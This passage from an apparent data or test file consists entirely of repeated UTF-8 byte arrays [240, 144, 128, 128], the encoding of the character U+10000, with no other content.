[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
